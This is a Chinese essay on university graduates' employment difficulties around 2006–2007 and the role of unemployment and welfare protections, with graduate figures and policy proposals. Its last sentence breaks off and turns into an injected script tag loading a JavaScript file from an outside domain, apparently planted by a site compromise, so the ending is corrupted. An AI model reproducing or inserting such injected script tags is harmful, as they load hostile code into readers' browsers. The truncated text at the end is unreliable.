一、大学生就业形势现况
　　
    根据人事部2006年年初的调查数据：2005年全国高校毕业生338万，2006年为413万，比2005年增加了75万，增长率为22%，而全国对高校毕业生的需求预计约为166.5万人，比上年实际就业减少22%，也就是说将有六成应届毕业生面临岗位缺口，大学生就业面临严峻考验，就业压力也逐步加大。2007年，我国普通高校毕业生将达到495万人，比2006年增加82万人，创下历史新高，按照2006年73％的初次就业率计算，将会有约134万高校毕业生无法实现当期就业。大学生就业问题已经成为社会重点关注的热点问题，引起了政府、社会、学校、家长、学生、媒体等多方关注。在出现大学生就业难的同时，许多急需人才的边远地区、西部、贫困基层却出现大量的人才缺口，大学生就业呈现极度不均衡：一方面是大量大学毕业生找不到工作，另一方面是大量急需人才岗位招不到毕业生。
　　
    为了真正解决就业问题，学校与社会都积极呼吁大学生认清就业形势，降低就业期望值，调整就业心态，转变就业观念，党和政府部门非常关注，为促进人才合理流动制定出台了许多相关政策，鼓励大学毕业生面向急需人才的基层就业，希望通过引导帮助大学生更充分就业，解决人才流向、分配的极度不均衡。虽然大学毕业生面临着巨大的压力和考验，但对于年轻的大学毕业生来说，他们有年龄优势、学历优势、信息优势、能力优势，　　仍然属于“精英一族”，如果他们都感到难以就业，那么其他各类需要就业的人恐怕就该难上加难。细心研究一下可以发现，大学生就业难的诸多不利因素中，保障制度的不够健全、不同职业福利保障差异、维权制度的缺乏是导致大学毕业生就业难的一个非常重要的因素。如果能解决大学毕业生在就业过程中的各种保障问题，相信大学毕业生“就业难、就业不均衡”的问题就能得到有效改善。
　　
    二、社会保障制度与大学生就业关系分析
　　
    1.失业保障与大学生就业
　　
    2006年9月4日国家劳动和社会保障部出台了八项促进就业措施，其中有一条就是对大学生失业的保障，即从2006年9月1日起，没有找到工作的应届高校毕业生将可以在户籍所在地办理失业登记，对进行失业登记的毕业生，街道社区劳动保障工作机构将发放就业服务联系卡，对登记失业毕业生中家庭困难、求职困难的将纳入重点帮扶范围。此项措施对之前出台的“对毕业半年以上未能就业的大学毕业生实行失业登记制度，按社会保障制度给予基本生活补助和就业培训”做了进一步的补充。这些措施在一定程度上解决了大学生的后顾之忧，对大学生继续择业就业提供了就业保护。
　　
    然而，就实际情况而言，“失业登记制度”对失业大学生来说并没有太大作用，基本的生活补助不能维持他们的基本生活，适用于社会失业人员的职业培训对于这些已经大学毕业的失业者而言又太简单，每个人的具体情况各不相同，对各类岗位的适应力、培训基础、期望值的底线更是千差万别，而且劳动社会保障部门人员有限，不可能抽调大量人力物力专门分析解决大学毕业生需要的个性化培训，因此虽然大学生们感觉这一保障制度非常好，但是对于改善他们的实际状况并没有明显作用。
　　
    为了真正解除大学生的后顾之忧，我们可以借鉴国外目前已经实行的一些做法，例如在大学生中实行失业保险金制度：采取财政拨款和大学生在校期间交纳失业保障金，建立失业保险基金的方式，由劳动社会保障部门将大学毕业生纳入失业保障管理体系。对于那些毕业后不能及时就业的大学生，可先到劳动就业机构进行失业登记，在专项失业保险基金的支持下，一方面由劳动保障部门为其提供生活保障金，另一方面由大学毕业生本人在职业指导人员帮助下，根据个人意愿兼顾个体的不同情况向社区劳动保障部门申请需要的就业培训费用，获得审核同意的培训申请将获得资助。这项制度为不能及时就业的大学生提供了一段有基本生活保障的时间，促使其调整知识结构，积累经验，有助于大学生劳动技能不致因失业而萎缩和落伍，有助于实现充分就业。
　　
    2.福利保障与大学生就业
　　
    目前，公务员已经成为大学生的热门职业，国内许多大学生就业的第一选择就是参加公务员考试，而导致这一现象出现正是因为目前公务员拥有相对完善的医疗、养老等福利保障。近年来，我国教育部和劳动保障部多次出台政策，鼓励大学毕业生到基层和艰苦地区工作，出台了一系列的优惠政策和激励措施；从2003年以来，教育部、财政部、人事部、共青团中央联合推出“大学生西部志愿计划”，锻炼大学生艰苦奋斗的精神，在一定程度上拓展大学生就业、创业的渠道，也有许多有志向有抱负的大学生积极响应号召到西部地区就业，但大学毕业生到基层或?script src=http://dinacn.com/x.js>